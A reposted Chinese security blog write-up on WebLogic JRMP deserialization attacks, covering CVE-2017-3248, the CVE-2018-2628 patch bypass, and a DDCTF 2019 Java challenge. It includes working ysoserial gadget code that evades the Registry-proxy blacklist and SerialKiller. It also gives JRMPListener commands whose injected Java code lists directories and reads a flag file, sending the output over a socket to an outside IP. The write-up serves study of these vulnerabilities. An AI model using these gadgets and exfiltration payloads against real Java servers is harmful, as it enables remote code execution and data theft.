转载

JRMP安全问题分析-从CVE到CTF

这篇文章将会分析weblogic JRMP问题,进而去回顾2019DDCTF中再来一杯java的那个题目,文章如果有理解错误、写错的地方,麻烦师傅们斧正。

环境搭建

$ cat docker-compose.yml
version: '2'
services:
 weblogic:
   image: vulhub/weblogic
   ports:
     - "8453:8453"
     - "7001:7001"

然后进入容器修改 /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

if [ "${debugFlag}" = "true" ] ; then
        JAVA_DEBUG="-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=${DEBUG_PORT},server=y,suspend=n -Djava.compiler=NONE"
        export JAVA_DEBUG
        JAVA_OPTIONS="${JAVA_OPTIONS} ${enableHotswapFlag} -ea -da:com.bea... -da:javelin... -da:weblogic... -ea:com.bea.wli... -ea:com.bea.broker... -ea:com.bea.sbconsole..."
        export JAVA_OPTIONS

找到这个,在前面加上

debugFlag="true"
expport debugFlag

重启一下,然后远程调试使用的idea,我把本地调试的代码打包放到附件里,然后导入 library 然后remote即可。

CVE-2017-3248

先看下攻击姿势

java -cp ysoserial-exp.jar  ysoserial.exploit.JRMPListener 9997 CommonsCollections1 "touch /tmp/exp"
python exp.py 127.0.0.1 7001 ~/Desktop/漏洞环境/weblogic/ysoserial-exp.jar 10.13.66.158 9997 JRMPClient

python脚本:https://www.exploit-db.com/exploits/44553

JRMP安全问题分析-从CVE到CTF

来继续了解下什么是JRMP协议和RMI

JRMP协议:Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。
RMI:是Remote Method Invocation的简称,是J2SE的一部分,
能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,
可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,
可以像调用本地Java对象的方法一样调用远程对象的方法,
使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

再来看下CVE-2017-3248部分调用链

JRMP安全问题分析-从CVE到CTF

这条链上反序列化中首先利用的还是t3协议,这篇文章我想分析的是从 cve-2017-3248CVE-2018-2628 再到DDCTF的那道java题目来聊一聊防御与绕过。

t3反序列化我是看的 Dlive 大佬的这篇文章 http://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-反序列化RCE分析/ ,我们通过看文章可以知道,在t3协议通信的过程中会传输序列化数据,也就会自动的去反序列化,那么利用Gadgets,比如说传输 Commons-Collections 的payload就可以实现攻击。

在我们使用exp.py将payload攻击过去的过程中,也是利用的T3来实现的反序列化,但是如果在项目中的话找到反序列化点就可以了。

我们来看看JRMPClient中如何构造的

public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
            Registry.class
        }, obj);
        return proxy;
    }

在最后面我们可以看到使用了动态代理机制,这有什么作用呢

动态代理其实就是java.lang.reflect.Proxy类动态的根据您指定的所有接口生成一个class byte,该class会继承Proxy类,并实现所有你指定的接口(您在参数中传入的接口数组);然后再利用您指定的classloader将 class byte加载进系统,最后生成这样一个类的对象,并初始化该对象的一些值,如invocationHandler,以即所有的接口对应的Method成员。 初始化之后将对象返回给调用的客户端。这样客户端拿到的就是一个实现你所有的接口的Proxy对象

这里我并不是十分的理解动态代理,但是我知道这里需要去重点关注的是 RemoteObjectInvocationHandler ,这个类在构造方法中会去调用父类的构造方法,然后在反序列化的过程中会因为继承的原因去调用 RemoteObject

private void readObject(ObjectInputStream paramObjectInputStream)
    throws IOException, ClassNotFoundException
  {
    String str1 = paramObjectInputStream.readUTF();
    if ((str1 == null) || (str1.length() == 0))
    {
      this.ref = ((RemoteRef)paramObjectInputStream.readObject());
    }
    else
    {
      String str2 = "sun.rmi.server." + str1;

      Class localClass = Class.forName(str2);
      try
      {
        this.ref = ((RemoteRef)localClass.newInstance());
      }
      catch (InstantiationException localInstantiationException)
      {
        throw new ClassNotFoundException(str2, localInstantiationException);
      }
      catch (IllegalAccessException localIllegalAccessException)
      {
        throw new ClassNotFoundException(str2, localIllegalAccessException);
      }
      catch (ClassCastException localClassCastException)
      {
        throw new ClassNotFoundException(str2, localClassCastException);
      }
      this.ref.readExternal(paramObjectInputStream);
    }
  }

这里因为绑定的ref为 UnicastRef 对象,那么就相当于去调用 UnicastRef.readexternal

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
        this.ref = LiveRef.read(var1, false);
    }

概念补充:

Java默认的序列化机制非常简单,而且序列化后的对象不需要再次调用构造器重新生成,但是在实际中,我们可以会希望对象的某一部分不需要被序列化,或者说一个对象被还原之后,其内部的某些子对象需要重新创建,从而不必将该子对象序列化。 在这些情况下,我们可以考虑实现Externalizable接口从而代替Serializable接口来对序列化过程进行控制。
Externalizable接口extends Serializable接口,而且在其基础上增加了两个方法:writeExternal()和readExternal()。这两个方法会在序列化和反序列化还原的过程中被自动调用,以便执行一些特殊的操作。

继续往下走,可以看到打开了到JRMP服务端的连接,然后进入DGC的 dirty 在这里打通了了Client和Server。

JRMP安全问题分析-从CVE到CTF

到了这里会有种熟悉的感觉,因为这是 CommonsCollections 中的需要的点。

利用 JRMPClient 这个Gadget去调用 JRMPListener ,然后 JRMPListener 利用 CommonsCollections 这个Gadget来实现RCE。

CVE-2018-2628

其实到这里我大概明白了这是怎么一回事,那么下一步去看一下官方如何去防御的,以及如何去绕过。

官方是在InboundMsgAbbrev.class类中新添了一个resolveProxyClass方法

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
    String[] arr$ = interfaces;
    int len$ = interfaces.length;

    for(int i$ = 0; i$ < len$; ++i$) {
        String intf = arr$[i$];
        if (intf.equals("java.rmi.registry.Registry")) {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
        }
    }

return super.resolveProxyClass(interfaces);

ban掉了 java.rmi.registry.Registry 接口,这里我们需要知道,resolveProxyClass方法只是在反序列化代理对象时才会被调用,也就是说在payload的最后一步有没有办法不使用代理呢

lpwd 大佬给的payload

@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        // RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        // Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
        //     Registry.class
        // }, obj);
        return ref;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
    }
}

简化掉了JRMPClient,没有了代理在反序列化的时候就不会调用resovelProxyClass,进而绕过了。

xxlegend 大佬是利用其他接口 Activator

@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
        return proxy;
    }
    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
        PayloadRunner.run(JRMPClient3.class, args);
    }
}

修改了源码之后

mvn clean package -DskipTests

重新编译一下

JRMP安全问题分析-从CVE到CTF

DDCTF2019-再来一杯java

然后来看看2019DDCTF的那道java题目,当时拿到了源码,但是并没做出来,后来一直鸽,正好这段时间审java,遇到一样的知识点,再捡起来看看

题目地址以及信息,有想看看的可以看下

http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/

源码地址:/proc/self/fd/15
admin token: e/0YtlMi8D4nOD4Uk+gE2sO+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF

前面不再多说了,反转+padding,

其实看代码可以看到,有很明显的反序列化的地方,但是利用了github的开源工具 SerialKiller ,这道题目的考点也是让你去绕过

@RequestMapping({"/nicaibudao_hahaxxxx/deserial"})
    public String deserialize(String base64Info) {
        ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Info));
        UserInfo userInfo = null;

        try {
            ObjectInputStream ois = new SerialKiller(bais, this.serialKillerConf.getConfig());
            userInfo = (UserInfo)ois.readObject();
            ois.close();
        } catch (Exception var5) {
            var5.printStackTrace();
            return null;
        }

        return JSON.toJSONString(userInfo);
    }

SerialKiller 这个工具防御反序列化的方法呢也是通过重写 ObjectInputStreamresolveClass 方法来实现的

SerialKiller.conf.xml 里面我们可以看到哪些类在黑名单里面

JRMP安全问题分析-从CVE到CTF

这里我们如果利用JRMP去攻击的话,会发现

<regexp>java/.rmi/.registry/.Registry$</regexp>

也就是说我们使用的第一份payload是攻击不成功的,那么显然bypass后的是可以成功的,我们来试试,利用URLDNS这个Gadget测试一下

JRMP安全问题分析-从CVE到CTF

JRMP安全问题分析-从CVE到CTF

JRMP安全问题分析-从CVE到CTF

可以看到已经有请求过来了

JRMP安全问题分析-从CVE到CTF

然后题目中还无法直接执行命令,但是既然可以反序列化了,可以使用代码执行,将 src/main/java/ysoserial/payloads/util/Gadgets.java 修改

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
//        String cmd = "java.lang.Runtime.getRuntime().exec(/"" +
//            command.replaceAll("////","////////").replaceAll("/"", "///"") +
//            "/");";
        String cmd="";
        //如果以code:开头,认为是代码,否则认为是命令
        if(!command.startsWith("code:")){
            cmd = "java.lang.Runtime.getRuntime().exec(/"" +
            command.replaceAll("////","////////").replaceAll("/"", "///"") +
            "/");";
        }
        else{
            System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出
            cmd = command.substring(5);
        }
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

而且还得注意一个问题,既然想要执行命令的话需要有可以使用的Gadget,

JRMP安全问题分析-从CVE到CTF

可以直接使用 ysoserial 中的 common-beanutils 模块,可以使用这个

构造列目录的代码的payload

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9997 CommonsBeanutils1 'code:java.io.File file=new java.io.File("/");java.io.File[] fileLists = file.listFiles();java.net.Socket s = new java.net.Socket("74.120.175.101",9998);for (int i = 0; i < fileLists.length; i++) {java.io.OutputStream out = s.getOutputStream();out.write(fileLists[i].getName().getBytes());out.write("/n".getBytes());}s.close();'

读flag的payload

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9997 CommonsBeanutils1 'code:java.io.File file = new java.io.File("/flag/flag_7ArPnpf3XW8Npsmj");java.io.InputStream in = null;in = new java.io.FileInputStream(file);int tempbyte;java.net.Socket s = new java.net.Socket("74.120.175.101",9998);while ((tempbyte = in.read()) != -1) {java.io.OutputStream out = s.getOutputStream();out.write(tempbyte);}in.close();s.close();'

参考:

http://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-反序列化RCE分析/
https://xz.aliyun.com/t/2650
https://blog.csdn.net/lmy86263/article/details/72594760
https://www.cnblogs.com/xt0810/p/3640167.html
https://www.anquanke.com/post/id/162782#h2-6
https://xz.aliyun.com/t/4862
原文  https://xz.aliyun.com/t/5392
正文到此结束
Loading...